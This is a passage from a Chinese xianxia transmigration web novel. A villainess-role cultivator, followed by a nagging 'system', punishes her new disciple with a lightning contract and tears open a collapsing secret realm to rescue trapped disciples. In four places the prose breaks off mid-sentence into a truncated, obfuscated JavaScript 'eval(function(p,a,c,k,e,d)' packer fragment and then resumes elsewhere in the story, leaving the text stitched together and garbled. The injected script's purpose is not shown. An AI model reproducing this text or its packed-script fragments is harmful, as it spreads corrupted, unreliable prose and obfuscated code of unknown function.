周玉衍这才松开对他的桎梏，随意摆手道：“回你的房间擦去，这里是正厅。” 话完她绕过江以卓：“我外出一趟。” 江以卓沉默几息，最终应声。 * “你怎么能——怎么能这样对男主！！” 周玉衍在系统放声咆哮的前一刻，早有预料地按小它的音量键。 “你应该温柔！体贴！包容！用爱感化而不是暴力！你快回去帮男主擦药啊——男主都那么主动了！” 周玉衍听着系统细蚊一样的“咆哮”声，没忍住笑：“我很温柔体贴包容啊，男主受伤了，我给他拿药膏，这是体贴。” “男主顶着凶神恶煞的眼神，我心平气和跟他说话，这是温柔。” “男主狗塑自己，我顺着他的话掐狗狗下巴，这是包容。” 周玉衍感慨道：“这小绿茶竟然还会狗塑自己，心眼不是一般的多。可惜只是装模作样，并不是真有这个觉悟。” “你有这个空担心男主擦药的问题，不如赶紧开个辅助挂把男主命格什么的遮掩掉。” 系统：“他刚进入天云宗地界时，我就已经为他遮掩了。” 周玉衍微顿：“倒是我多嘴了，碰上男主的事你积极得很，哪用别人提醒。” 系统短路了一下：“我积极不算什么，你得积极啊！男主都那么主动了……” 周玉衍这时已经走进了执法堂，没再回应系统，拿着自己之前的长老玉牌去给江以卓挂了个名，喊来一位管事的内门弟子，叫他去领江以卓走一趟新弟子入门的流程。 她敷衍地应付了几位闻讯赶来的长老们，没想到刚出大堂，竟然还碰上了穆掌门。 “周长老，我听闻你收了个徒弟？是什么样的人？”穆掌门和悦问道。 周玉衍：“我让负责登记的弟子过去领他了，等那位弟子回来，穆掌门就知道了。” 穆掌门：“周长老，收徒可是大事，尤其你这般根骨……你的弟子，根骨同你的一样吗？” 周玉衍看他一眼：“我不过随缘收徒，没探过他的根骨，穆掌门要是想知道，就在执法堂等那位负责登记的弟子回来吧，我还有要事在身，先行离开了。” 话完周玉衍直接轻功一跃，飞离了此地。 她轻功登顶落在自己院子的屋顶上，看着下方院中和登记弟子有说有笑的江以卓，戳戳系统：“你看见没，这一天能变十回脸的小绿茶，就是你这原书男主。” 系统辩解：“男主落难受尽欺凌，自然要为人情世故做点戏，这没问题。” “你这句话单拎出来确实没问题，但放在江以卓身上，有问题。” 周玉衍斟酌着开口：“我怀疑江以卓根本不是因为落难剧情的提前改变了性格，而是他本来就是这样的人，原书说的温润如玉只不过是他自立的人设。” “剧情提前，他没有先遇到女主，而是在街市土房中被我找到，没法藏起真面目。” 话完她直接按下静音键：“闭嘴，你这个只知道偏心男主的系统，在这个时候没有发言权。” 周玉衍无视了系统在提词器上疯狂输入的一大堆话，跃下屋顶：“我得去督促他努力修炼，不然等女主出宗门走剧情的时候，他帮不上忙。” “师尊回来了。” 江以卓立刻上前迎她：“我叫方才那位管事师兄明日再领我去执法堂，师尊，今日您教我引气入体吧。” 周玉衍不咸不淡地问：“这么着急？” 江以卓笑起：“师尊不是说，我乐意的话，今日就可以教我法术吗？” 周玉衍点点头，示意他在院中打坐：“开启修炼之前，我得先跟你说几条师门门规。” 江以卓：“师尊不必立门规，师尊的话于我来说，句句是规训，我都会遵守。” “门规还是要立的，”周玉衍说，“好记性不如烂笔头，你日后犯错，抄门规就好。” “而且我立的门规，可以下在师徒契里，你要是违反门规……”周玉衍想了想，“我会通过师徒契电你，跟突破境界的劫雷差不多大小。” 江以卓的笑脸僵了一下，两息后乖顺点头：“都听师尊的。” 周玉衍：“第一条，别人靠自己努力得来的位子，你不能空手套白狼。” 系统立刻像被戳了敏感肌，警告道：“不可更改最终剧情。” 周玉衍：“我没更改剧情啊，只是身为师尊，教导一下徒弟不能不劳而获，我这是帮忙塑造原书男主的人品形象。” 系统一时没能反驳，江以卓已经先应下了：“我明白，如果想要什么，就用另一些同等珍贵的东西去做交换。” “还挺上道，”周玉衍琢磨着，“看来这剧情还勉强有救。” 她继续道：“第二条，乐于助人勇于担当，等你以后修为境界提升了，遇上旁人受困，要尽心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“别紧张，我只是试一试而已，”周玉衍加大雷诀，问他，“痛吗？” 江以卓咬牙，额角狂跳，却是笑着半抬起头，目光刺人：“痛啊，师尊。” 周玉衍展开神识一探，见他体内果真有雷诀淌过经脉的痕迹，满意道：“那就记得听话，别触犯门规，否则我会加个十倍的法力去催动雷诀，你就可以提前体验一下突破的劫雷了。” 话完她掐断雷诀，江以卓却支着撑地的姿势，久久没有起身。 周玉衍：“起来敷药去。雷诀疏通经脉，有利于你往后的修行，擦了药去书房，把第一列那本《引气入体》带回房中自己去悟。” 系统的音量键终于被周玉衍打开：“雷诀疏通经脉？我的数据库中怎么没搜索到雷诀还能疏通经脉？你不会是糊弄人吧？” “是啊，我糊弄他的，”周玉衍理所当然道，“你说的嘛，我要刷男主好感，那我电他就得找个好听的理由，让他觉得我这是在助他修炼，尽心负责。” 系统这才反应过来：“你不能电男主！！” 周玉衍：“我问过他的，他也答应了的，这是男主自己有觉悟有决心，你一个系统，不要耽误男主那颗跟随我好好修炼重新做人的心。” 系统气死了：“你这是钻空子！” 周玉衍无辜道：“男主自己答应的，怎么能算我钻空子？” 这时江以卓的声音响起：“既是利于修行，师尊多劈几下也可以。” 周玉衍感慨道：“看看，这都劈上瘾了，我就说他是自愿的嘛。” 系统：“……” 12. 第 12 章 “多劈无益。” 周玉衍抬手一招，案台上的药膏飞到她手中，她放到江以卓撑地的两手之间：“手上擦点药，然后照我刚才说的，到书房拿了书自己悟去。” 江以卓缓缓直起身，看向周玉衍：“师尊不打算详细教我吗？我听说凡人想入道难如登天，或许一辈子都触不到第一道门槛。” 周玉衍心道你太小瞧自己的男主光环了，别人悟一辈子的事，你睡一晚上觉第二天起床就悟到了。 “我要是能早日拥有足够的修为……报了仇后，也能早日把我的根骨给师尊。”江以卓说。 “我没那么着急。” 反正这段剧情怎么着都得走八年。 周玉衍开始灌输心灵鸡汤：“徒弟，你也别这么着急，修炼一途得循序渐进稳扎稳打，操之过急对你日后修行没有半点好处。” “我刚刚用雷诀给你开辟了筋骨，你的经脉心络能承受得起引气入体的灵力冲击了。” “先自己悟一悟，”周玉衍迎上江以卓的目光，说，“你入道修炼的决心这么大，我自然也想你能修到最好，自己悟出的和旁人助你的终究是不同的。” “依我的判断，你悟性不错，引气入体不会很艰难，去吧。” “好，”江以卓双眼亮如点漆，扬笑道，“师尊说得不错，我定会修到最好。” 周玉衍也笑了笑，递过去一个天云宗通用的传音玉牌：“你拿着传音玉牌，有事可以唤我。” 江以卓接过，行礼后快步走向书房。 “积极成这样，”周玉衍点了点系统，“我觉得原主说得不错，这人决心大，野心也大。” 系统难得一声没吭，连寻常拌嘴都没有了，周玉衍轻笑一声，“说话啊？系统，原书中女主让位给他，不会是被他给哄骗了吧？” 系统跑了几道程序，支支吾吾说了一大通以爱之名的话，好半天后才发现周玉衍根本没听，她早就支了个隔绝结界进入了修炼状态。 “一个恶毒女配，八年后就要被男主杀了，有什么好修炼的，用原主的力量不就够了？每次一修炼就把我隔绝屏蔽……”系统又一次抱怨道，“有什么好修炼的，浪费时间！” 它想起三年前周玉衍说要助女主成为宗门盟主的那番话，依旧不屑，但周玉衍性格差还爱威胁人，它不敢在她面前说什么，好在目前的任务她都还算配合。 可惜配角绑定者的身世它从来嗤之以鼻，一眼没看就将这些垃圾信息绞碎彻底删除了。 系统又一次向主脑提交申请。它有点想知道，周玉衍身死前是个什么样的人。 * 周玉衍第二天照常早起准备去摊位，洗漱完走到院中看见地上的十道爪痕血迹后，才想起她这院子里多了个人。 她神识一展探向厢房，立刻感觉到有灵力漩涡在上边盘旋，心中明悟，江以卓已经成功引气入体，踏进了练气期。 周玉衍走到厢房窗边一瞧，江以卓正在床榻上打坐，双眼紧闭，眉宇间戾气积攒，似乎很是痛苦。 系统：“男主正在突破练气大圆满，你输点灵力给他，助他成功筑基。” “我不输灵力他就不能突破了？” 系统：“也能，但是痛苦啊！你有元婴期的修为，能帮他承下突破的疼痛。” 周玉衍转身就朝院外走：“上班不能迟到。” 系统气得要死：“二阶段任务！任务！你要让男主发现你对他情根深种！他才能拒绝你！照你现在这样的态度，什么时候才能走到被他拒绝的剧情啊！” “我还得上赶着给他拒绝？拉倒吧。”周玉衍轻功跃起，“你不如改名叫恋爱脑系统得了。” “二阶段的剧情重点是原主对男主实施强制手段，我只要完成所谓的‘非人折磨’就行了，什么爱不爱的那是调味剂。” 周玉衍：“做任务就等于打工，都社畜晚餐了，主打一个能吃就行。” 见系统又气得狂飙脏话，她打开系统的词库又添加了几个违禁词进去：“注意素质。带性别的带家人的带生殖器官的词汇，我全给你删掉了，文明用语从你做起。” 话完她安抚道：“放心放心，折磨男主的任务多简单，我一定做好恶毒配角的本分。” 系统：“不是真的折磨他！是爱而不得才折磨他！有爱情的！会心痛后悔的！” 周玉衍：“明白，追夫火葬场的前期剧情嘛，我看过可多虐文了——行动上拳打脚踢杀亲族，精神上侮辱人格打击自信，你放心吧，我会好好完成任务的。” 系统过热保护关机了。 周玉衍乐得清静，轻功下落穿过街市，来到自己的小摊位前，刚一坐下，羡折就走了过来。 “仙尊，”羡折似乎心情很好，语调上扬，语气柔和，“仙尊晨安。” 周玉衍刚刚怼完系统，心情也不错，扬笑道：“羡折，晨安。找我何事？” 羡折微顿：“仙尊……今日有人找仙尊卜算吗？” 周玉衍掐算一番：“有。” 羡折点点头，没再言语，却还是杵在周玉衍的摊位前没动。 二人大眼瞪小眼了一阵，周玉衍颇有些摸不着头脑，客气问道：“想与我说什么事吗？你说吧，正好现在还没人来找咱们算卦。” 羡折慢吞吞开口：“我无事找仙尊。” 周玉衍没怎么见过他这般踌躇不前的样子，笑道：“我还以为你是来问我徒弟的事。” 羡折微微皱眉：“仙尊既有决策，我便不该再多干涉了，且仙尊收徒已成定数……” 他语调稍沉：“定数……无法更改了，我总不能叫仙尊与他断绝关系。” 周玉衍有些惊讶，没想到羡折竟然对江以卓不喜到这种程度。 看来这极煞的命格在外界不是一般的受排斥，以羡折的礼教，竟然都会有叫她前脚刚收徒后脚就断绝的想法。 周玉衍笑一声：“我既然收了他做徒弟，就该对他负责，自然不能随意与他断绝关系的。” 羡折抿唇，语气恢复成了之前那般冷漠：“仙尊忙吧，我回摊位了。” 周玉衍很是疑惑，这人……怎么就又变成行走的大冰块了？ 都是变脸大王啊。 但很快有人来到摊位前找她问卦，周玉衍便也没再去深想。 “周仙长，我家阿姐要去参加宗门的春招，我好担心，阿姐能不能过呀？周仙长帮忙算算吧？” 周玉衍：“大吉，且安心，你阿姐天赋不错，心性也好，进宗门很顺利，往后的修为境界提升得也很快。” “我赠你一卦，待后年春招，你去参加时，也能顺利进宗门。” 女孩眼睛极亮：“我就说我阿姐肯定能进！多谢周仙长！我后年到了年纪就去参加春招！我要与阿姐一起修炼！” 女孩踮脚递了包桃花酥给周玉衍：“这个可好吃，仙长您尝尝，我回去找阿姐了！” 话完她雀跃跑远了。 “周仙长，羡仙长说我有极大的可能会死在宗门秘境中，但他说天机不可泄露，要我顺其自然，不愿告诉我如何能避啊！这如何是好！我不愿死啊——” 周玉衍：“小凶，你去到秘境里头会看见一片绿洲，淌水过去，别踩草地，渡过河就有神水护体了。” 宗门弟子高兴道：“好好！多谢周仙长！多谢周仙长！周仙长您……” “——周长老！” 那位弟子的道谢声被人打断，周玉衍循声望去，惊讶地看见穆掌门急急赶来。 “周长老，出事了！” 穆掌门神色焦急：“青云秘境出事了，秘境突然合闭，上百名弟子被困其中，周长老快快随我一同去那方救急！” 周玉衍皱眉：“弟子们被关多久了？秘境外的长老们还能通过水镜看秘境中的情况吗？秘境怎会突然合闭？近日也没有稀世秘宝出世影响各方秘境吧？” “关了两日了，秘境是彻底合闭，通讯切断，水镜也作废了，长老们并不太清楚秘境突然合闭的原因，推测应该是秘境里有秘宝出世。” “现今诸位长老想的是共同聚力强开秘境，但把握并不太大，”穆掌门拿出传送符，“周长老，到了那方再说，各宗门的几位化神期老祖皆在闭关，只能我们先合力试试去开秘境……” “穆掌门。” 穆掌门的话突然被人打断，他即刻压下眉头，却在看见来人时神色一顿。 羡折不知是何时来到了周玉衍的摊位边上，朝他行礼：“日月宗首席弟子，羡折。” “青云秘境之事，羡折也愿献力。” 周玉衍闻言就要拒绝，穆掌门却先一步开口道：“好，你也一起来。” 她心底讶然，觉得穆掌门对羡折的态度有些古怪。 穆掌门一向眼高于顶，上回她与羡折上了驿报，长老们因为觉得身份不对等闹了半天，他的意思却是由着二人接触。 不知这人在打些什么算盘。 强开秘境有些危险，羡折不过金丹，周玉衍其实并不太想他过去。 但事态紧急，再做争执太过耽搁。 周玉衍接过传送符启动传送，三人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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场间一静，接着瞬间沸腾起来。 “撕开？用撕的？！周长老说什么胡话！” “都这种时候了！周长老莫要胡言！” “这秘境本就不稳了！自入口注灵开秘境都可能叫里面的弟子们受伤，撕开秘境岂不是加速秘境的坍塌了！” “不可！我的大弟子还在这秘境里！咱们还是慢慢注灵试着去开秘境，总归还有一日时间……” “得尽快，越拖情况只会越糟，秘境不会无故合闭，弟子们已经被关了两日，里面还不知道是什么情况，”周玉衍环视一圈，“我不想一开秘境看见其中仅剩尸骨。” “青云秘境……虽说的确有几只大妖在里面，但……周长老！！周长老不可啊——” 周玉衍根本没顾耳边的争吵，抬手虚空一抓。 “如此莽撞！周长老快停手！” 周玉衍平和道：“我能撕开，不会伤到秘境里的人。” “凭你一人之力怎么可能撕开秘境！莫要加速了秘境坍塌！你分明还未至化神，不可如此啊！里面有上百位精英弟子！周长老！！” 系统也被这动静惊到了，结果它刚一开机就看见周玉衍在聚灵撕秘境：“等等等等等！什么情况！青云秘境？你怎么在青云秘境的入口？这不是女主绑定跟宠的秘境吗？这剧情跟你没关系的啊？” 周玉衍的神情更加严肃：“女主也在里面？原书中怎么没有这段？” 系统：“这……都不算什么剧情点啊……就提了一下女主得了个跟宠，但这只跟宠没什么特殊技能，一笔带过的。” “你先停下，”系统急道，“你撕秘境做什么？这节没什么剧情的，不用多管，你别把秘境弄塌了伤到女主了！” 周玉衍没答它，手上动作也没停。 “周长老快先停手！”穆掌门突然大惊失色，“这秘境的气息消了！” 众长老一静，惊骇万分地展开神识，随即又炸开了锅。 有几位长老当即打出几道灵力：“停手！你要害死里面的弟子们吗！” 周玉衍狠狠皱眉，空出的一手迅速挥袖，想拦下击向她的几道灵力，却因为分身乏术，只将其削减了些攻势。 添乱啊，说了能撕，怎么就是不信。周玉衍心底微叹，打算硬挨。 忽然无边剑气拔地而起，其势锋锐到呼吸间都极似割喉，迫人撤步。 周玉衍愕然抬眼望去，羡折横剑挡在灵力击来的那方，白衣渗血，剑势却未减，其中剑意如冽风。 “弟子贸然插手阻截，还望长老们恕罪。” 羡折的声音掺了血，有些沙哑：“但我信周仙尊所说，她能撕开秘境，救下其中弟子。” 13. 第 13 章 “羡折？！” 一位日月宗长老从人群中急步上前，神色惊诧：“你做什么！添什么乱！” 羡折认出了来人：“杨长老。” “收起剑！”杨长老脸色难看，“你自幼的礼教便是让你僭越长老吗？朝长老们出剑做什么！” 羡折一滞，却是持剑未动，“待回到宗门，我自去请罪。” “但现今救人要紧，长老们莫要对仙尊……” 杨长老怒喝道：“长老议事，轮得到你插话吗！宗门怎么教导你的！” 羡折止住话，垂头敛眼：“非法不言，非道不行；口无择言，身无择行。” “既如此，还不赶紧收了剑！” 羡折提着剑，仍是一步未退：“诸位长老，仙尊撕开秘境是为救人，事态紧急，我不能在一旁看着长老们出手。” “若是仙尊在撕秘境的中途受伤，也会影响秘境，或可能加速秘境的坍塌，如此，长老们岂不是适得其反了。” 立刻就有长老高声喝道：“她一人而已！又未至化神，怎么可能撕开秘境！简直是胡来！” “元婴大圆满离化神看似一步之遥，实则差得远呢！啧！她之前分明吃了穆掌门突破化神的灵果，结果却没突破化神，还害得穆掌门的境界停留，周长老真是越来越不像话了。” 穆掌门上前打圆场：“过去之事莫要再提了，那灵果仅是起个促进作用，我境界停滞是我修行不够，与周长老无关。现今还是多探讨秘境的事。” 那位长老叹息摇头：“也就穆掌门如此大度……” 穆掌门：“天下修士皆为修道同门，不必多在意一颗灵果的事。周长老既然决意强撕秘境，便先让她试试吧。” 穆掌门横起一只手在腰间，端得个仙风道骨的模样：“总归我们无法注灵开秘境，周长老有法子，那自然是好过我们在这干等着，确如羡折所说，现今事态紧急。” “可是……可是若她没能控制好，这秘境即刻坍塌怎么办？里面那么多弟子……” 穆掌门打断说话的长老：“周长老出手，自然是愿意担责的，我天云宗的人绝不是推脱逃避的怕事之人。” 众长老见穆掌门把话说到了这等地步，加上他们也确实没有其它可行的办法，愤愤几声后还是静了下来，算是应下这事了。 “周长老愿意担责就好，否则那么多弟子，我等也不好跟自宗掌门交代。” 一位长老走上前几步，语气不善：“但杨长老——你宗的这位弟子，顶撞他宗长老，甚至到现今都没收起浑身剑势，如此逾矩，太过不妥。” 羡折闻言紧了紧剑，将剑收回剑鞘，身上剑势却依旧如冽冽罡风，他身姿挺拔，剑意凝聚，好似蓄势随时拔剑。 杨长老瞪了他一眼，甩袖转身，对着长老们抱拳道：“宗门弟子无礼，还望诸位见谅。他自小习剑，性子孤僻，寻常在宗门也是这般模样的，练完剑半天收不起剑势，经常吓到过路的弟子们。” 一位长老冷哼道：“若不是见你宗这位小弟子冒出头来，怕境界差距过大伤着了他，方才我等早就接着出招了。” 杨长老赶紧对着出声的长老抱拳：“赵长老海涵。” “日月宗不愧为顶尖宗门，就连一位金丹期的弟子，都能接下好几位元婴期长老的攻击，”赵长老皮笑肉不笑，“确是教导有方啊。” 杨长老堆笑道：“羡折是我宗首席弟子之一，掌门亲自看管着命牌的，方才长老们的攻势是被命牌上的秘法挡下了，非是他个人实力。” “他才刚突破金丹大圆满没多久，哪敢与诸位长老交手。”杨长老回头，喝道，“羡折，快与长老们请罪，平日的礼数全都忘了？” 羡折静了两息，行礼道：“冒犯诸位长老，确是羡折之过，待回到宗门，我即刻去执法堂领刑。” 赵长老哼声点头：“如此还算个样子。” 杨长老微微松气，瞥了一眼羡折身上渗出的血迹，却是没有任何表示，转回头就与长老们交谈去了。 穆掌门走到羡折身旁，递来一瓶丹药：“杨长老他只不过是一心为日月宗罢了，虽说忽略了你身上伤势，但你莫要起怨气。这瓶灵丹你拿去吃下疗伤吧。” 羡折稍有些惊讶，立刻行礼道：“多谢穆掌门。杨长老说得不错，确是我冲撞诸位长老在先，我该领罚的，也不会生半点怨气。” “如此性子，当真难得，难怪周长老之前与我说，她觉得你很不错，”穆掌门感叹道，“我天云宗若是有你这般弟子就好了。” 羡折一时之间不知道该怎么应话，不过穆掌门拍拍他的肩后就走去了周玉衍那方。 “周长老，羡折的心性确实不错，待他再成长几年，定是修真界一大助力，平日你们在街市……你可多提点提点他。” 穆掌门说完这话就走回了长老堆里。 周玉衍收回眼，未置一词，手上动作也没停，控制着力道聚灵横撕秘境入口。 寻常强开秘境是自秘境入口注入足够的灵力，将其撑开，但现在这秘境的边界太过脆弱，注灵力怕是会直接把秘境撑破了。 目前最好的办法，还是撕一小道口子，助里面的弟子赶在秘境坍塌前出来。 系统：“你还真是铁石心肠啊，我看你刚才那么惊讶，还以为你会停手去帮羡折。” “他站出来，正好能为我拖些开秘境的时间。” 周玉衍的语气没什么起伏：“不过我确实挺惊讶，金丹接元婴的招式……胆子真大，接完还强撑着用剑，真是嫌自己活得太舒服了。” 她猛地伸手一抓，青云秘境原先合闭的入口被她横向撕裂，边缘却如刀切般利落，一点齑粉未起。 “强行起剑势，也不怕折了他自己一身剑骨。” 系统惊叫：“你竟然真的撕开了！你背着我向主脑提交升级金手指的申请了？” “修真世界，”周玉衍收回手，转身朝侧方走去，“讲什么未来科技。” 系统一下子安静了。它想起周玉衍自穿来后第一天就开始照着原主的功法日夜修炼，修了三年修到现在，其实很多东西根本用不上它帮忙了，就连给街市那些人做命线方案大概也只是给它找个事做。 这一身元婴的修为，不是她穿来后得的配角金手指，而是她自己修炼成道。 “羡折。” 周玉衍走到羡折面前，神色很冷：“伸手。” 羡折有些愣，伸手上前：“仙尊……这么快就打开了秘境吗？” 周玉衍没答话，她扣住羡折的腕间脉：“系统，来开挂，把他的内伤全修复了。” 系统手比脑子快，习惯性地按着周玉衍的命令启动相应的程序。 灵力自周玉衍指尖涌进羡折的经脉，系统这才反应过来，问她：“你撕秘境都不用我帮忙，渡灵疗伤怎么想起我了？” 周玉衍：“秘境里面有太多弟子了，我信不过你的高科技程序一点误差都不出。” 系统愤怒：“那你就信得过你自己了？你就这么自信？你才修炼三年！” “这世上最可信的本来就是自己，”周玉衍说，“而且女子自信是好事。” 系统还要跟她拌嘴，却感觉输送灵力的程序突然中断，接着羡折惊诧的声音响起：“仙尊！仙尊不必为我渡灵！强开秘境本就耗费灵力，我……” “闭嘴，”周玉衍将羡折挣开的手腕重新扣紧，没好气地说，“再不渡灵你想痛死？硬接好几道元婴期的攻击，真有本事。不赶紧疗伤，积疴损坏根骨了你就后悔去吧。” 羡折从未见过周玉衍这般冷着脸，有些无措：“我……仙尊那时也抽不开身去避，我总不能看着仙尊硬挨。我无事的，我的储物戒中有许多丹药，穆掌门刚才也给了我疗伤灵丹，仙尊不必浪费灵力……嘶！” 羡折突然吸气，面带痛色。 周玉衍将刻意控制着撞进羡折经脉的灵力放缓，掀起眼皮瞪了他一眼：“嘴硬什么？这点灵力的劲儿都受不住了，还强撑。” “你体内这么多旧伤，现在又伤成这样，根本化解不了灵丹的药力，否则你一开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“常理来讲，秘境有裂口，里面的弟子也都能感应得到，但这么一会儿还没有人出来，里面肯定是出事了。” 喧嚣再起—— “周长老竟当真强行撕开了秘境！” “这！这！想要撕开秘境，至少得是化神期修为……可她分明还未至化神！” “天！元婴大圆满能有撕开秘境的力量？如此可怖！” “……我倒是听闻过从前有元婴的修士紧急情况下强撕秘境的传闻，但……我还以为仅是传闻……” “或许因为周长老有那等特殊的根骨？如此天赋，当真是吓人得很。” “天云宗的人……这几个顶尖宗门出来的人真是厉害……” “周长老当真厉害！胆气也惊人！若换了旁人，可不一定愿意担这等责任，毕竟事关许多宗门的弟子。” “倒是我眼拙了，周长老有如此实力，说出的话自然是可信的，周长老说能强撕秘境，就一定能撕开！” 惊羡的夸赞声盖过了那些不可置信的刺耳声音，但这两方声音周玉衍都没有过耳。 “秘境里一定出事了，弟子们出不来，得我们进去看看。” 周玉衍说，“但青云秘境只能承受不超过金丹中期的力量，诸位长老的储物戒中可有能压制境界的法宝？” 有几位长老立刻应声，拿出法宝上前。 “选几位长老进秘境把弟子们带出来吧，我也进去，看看能不能从里面修复秘境边界，”周玉衍若有所思，“穆掌门来选吧？” “长老们各有长处，此番非是选取，”穆掌门扬笑上前，“是探讨商议，以带出各宗弟子为目的。” 周玉衍懒得多听场面话，目光一一扫过那些打量着她与羡折的长老们，逼迫他们收回了视线。 “仙尊。” 羡折的声音响起，周玉衍应了一声，朝他望去。 羡折显然也感受到了那些诧异中带着点古怪的眼神，但自从她制住了他的手后，他就再没了抽离的动作。 “仙尊，我也进秘境，”羡折说，“家中有传压制自身境界的秘术，我不用法宝。” “还不清楚秘境里面情况如何，我既然能施法进秘境，自然该尽一份力……” 他的话还没说完，周玉衍扣住他腕间脉的指尖用力一压，甩下他的手。 羡折顿时愣了：“……仙尊？” 14. 第 14 章 “你可真是个菩萨，自身难保了，还要去救旁人。”周玉衍冷声道。 羡折却好像没听出她声音中的冷意一般，认认真真接话：“救人重要。仙尊费力打开秘境，不也是为了救人吗？我既然有可行的秘法，自然也要助力。” 周玉衍神情淡漠：“我开秘境，是因为我有能力做到；我救人，也只救那些以我的能力能救下来的人。” “我若是你——旧疾在身又新添重伤，我只会立刻回宗门养伤。” 羡折一板一眼道：“见义不为，无勇也。” 周玉衍气笑了：“你这是弘扬优秀传统文化来了？” 她甩袖转身：“当你的菩萨像去吧。” 羡折没听太懂，见周玉衍转身就走，下意识地跟上前去：“仙尊？我惹仙尊生气了？仙尊为何生气？” 周玉衍摆手：“一边去。菩萨心肠，也不怕旁人摔菩萨像。” 羡折微愣，放缓了声音：“可若是要我旁观他人苦痛，我心有愧。” 周玉衍猛地顿住，寒意瞬间刺透背脊，她压了压气息，稳住稍有些颤抖的手，想要开口反驳，然而她张了张口，却是一个字都没能说出来。 系统见她这副模样，十分奇怪：“你怎么了？羡折这话有什么吗？不是挺符合原书的吗？他就是个为道义牺牲的正道背景板而已。” 周玉衍闭了闭眼，没有接话。 几息后她转头对羡折说：“那你就该多看看，什么叫以怨报德。” 羡折平静地说：“仙尊误会了，我救人是为我自己的道，冷眼旁观，有违道心。但若是旁人对我出手，我也定会叫他付出代价的。” 周玉衍对上羡折澄明的眼睛，一时无言。 “这秘境随时可能坍塌，”周玉衍垂下眼，“真到了那时候，我顾不上你。” “仙尊不必护着我。” 羡折上前一步，“我能应付得了。” 或许因为这三两句话搭上了道心道义，他身上气势又变得冷峻，刚才的那点温顺消散不现，周玉衍盯着他，心底告诫自己，羡折的结局本就是为道义而死，她不必多说什么话企图改变这人的道义为先。 “随你。” 周玉衍越过他，朝着秘境入口走去，同时说道：“穆掌门，我先进秘境了，你与长老们商讨好了就赶紧来。” 她这番话颇有些使唤的意味，穆掌门脸上神情微僵，却又立刻扬笑应下。 周玉衍看明白了，收回眼踏进秘境。 原书中说，天云宗穆掌门豁达大度，待人宽和。 她穿来这三年，虽然与穆掌门的接触不算太多，但之前跟穆芸清偷鸡摸狗时，偶尔听她提过几句父亲，与原书中的描写有些出入。 不过，这些边缘npc与主角们的对手戏太少，而剧情只围绕主角们展开。穆掌门平时姿态做得很足，在女主男主眼中是个宽和长辈，倒是不足为奇。 但她一个配角在这人手底下做事，还是要摸清楚他的性子，看看这人的玲珑心是真是假。 周玉衍穿过秘境入口，两三息的黑暗过后，清风拂面，充裕的灵气和草木清香包裹上来，她走了几步，却没有感受到什么大妖的气息。 而且不知道是不是因为境界被压制到金丹中期，她的神识竟然感受不出秘境坍塌的进度了，好像这秘境仅是合闭，边界完好无损。 “系统，定位一下女主在哪里。” “女主……女主在北面一片丛林中，应该是触发了收跟宠的剧情。” 周玉衍闻言正打算轻功飞跃过去，却忽然察觉周身有灵力波动，她侧头回望，看见羡折破空踏出。 “你这就进来了？怎么不跟着长老们一起。” 羡折：“长老们探讨激烈，我便先行进入秘境了。” 周玉衍琢磨了一下这句话，合理怀疑他是不想再多与那些人打交道，自己偷摸先进来了。 羡折：“青云秘境里有五只大妖，暴怒时灵力波动剧烈，确实可能导致秘境合闭。但现在秘境虽然合闭，这里面却没什么妖气，或许被激怒的是擅长隐匿的那只大妖，又或许是秘宝出世。” 周玉衍接收到了系统传输过来的青云秘境的信息，好奇问道：“五只？青云秘境里不是六只大妖吗？” 羡折微顿：“原先是六只，之前一次弟子考核中，有一只被杀掉了。” “金丹期的弟子竟然能杀同阶大妖？”周玉衍感慨道，“那位弟子后面没有出宗门闯荡吗？我好像没听说哪个宗门有这么厉害的新秀弟子。” 羡折没应话，安静地站在一旁。 周玉衍也只是随口感慨一下，见他没应，估摸着他或许也并不太清楚，于是也没再想这事，聚灵轻功跃起。 “我去北面那片丛林看看。” 羡折立刻轻功跟上：“仙尊应该没来过这供宗门考核的青云秘境吧？我与仙尊同行，或许能为仙尊助力。” 周玉衍倒是不在意他跟上，反正这一节原书中没有什么重要剧情，她现在要救人，多个人还多个苦力。 二人刚到丛林上空，系统就惊叫一声：“女主怎么惹到那只隐匿兽了！这个阶段女主才金丹初期，打不过它的！” “快快快救人去！”系统大叫，“原书中不是只写了一句女主从青云秘境出来收了个普通跟宠吗？！” 周玉衍皱眉，顾不上羡折，循着系统的定位飞快穿过丛林，在一片湖泊边上看见了祝临兰。 祝临兰依旧一身劲装，束着个利落的马尾，和三年前的模样没什么差别。 她面对着湖泊，似乎在看什么东西。 周玉衍见女主没什么危险，正打算落在附近的树上先观察观察，然而她的脚尖刚刚踏上枝干，耳边乍然一响，空气瞬间湿重。 她猛地侧头看向湖泊，只见一只蚺蛇模样的巨兽从水中拍尾而起，张口獠牙发出轰然咆哮。 周玉衍一惊，她刚刚在这处没有感受到任何一丝大妖的气息，直到这一刻巨兽现身，隐匿的妖气骤然爆发。 她正要飞身上前聚灵出掌，祝临兰的动作却还要更快一些。 锋锐剑气直直冲出，祝临兰疾速跃上巨兽的头顶，双手持剑用力下劈，只一下就让这巨兽停滞了动作。 她没有拔剑，翻手摸出一柄匕首，蹲在像被定身了的巨兽头上，划弄了几下后取出一个巴掌大的黑色圆球。 祝临兰用灵力将其包裹，随手一抛将它抛在了岸侧，接着又拿出一个小白瓶子，往巨兽头顶被她割开的地方以及剑插进的地方倒了倒白瓶，动作很是小心。 “女主这是在给隐匿兽下毒？”系统疑惑不解，“也不应该啊？原书设定上女主是没有什么金手指的，怎么一击就把隐匿兽这种大妖给打懵了？” “不对不对，太不对了，这种越级干翻敌人的剧本应该是男主拿才对啊！女主明明是挥洒血汗的努力型的，遇上这种大妖，应该九死一生破而后立，怎么能这么轻松就把它解决了？！” 周玉衍听得很腻歪：“是是是，整个世界都是你家男主的，虽然原书打着个大女主的标签，但是男主才是世界的中心。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 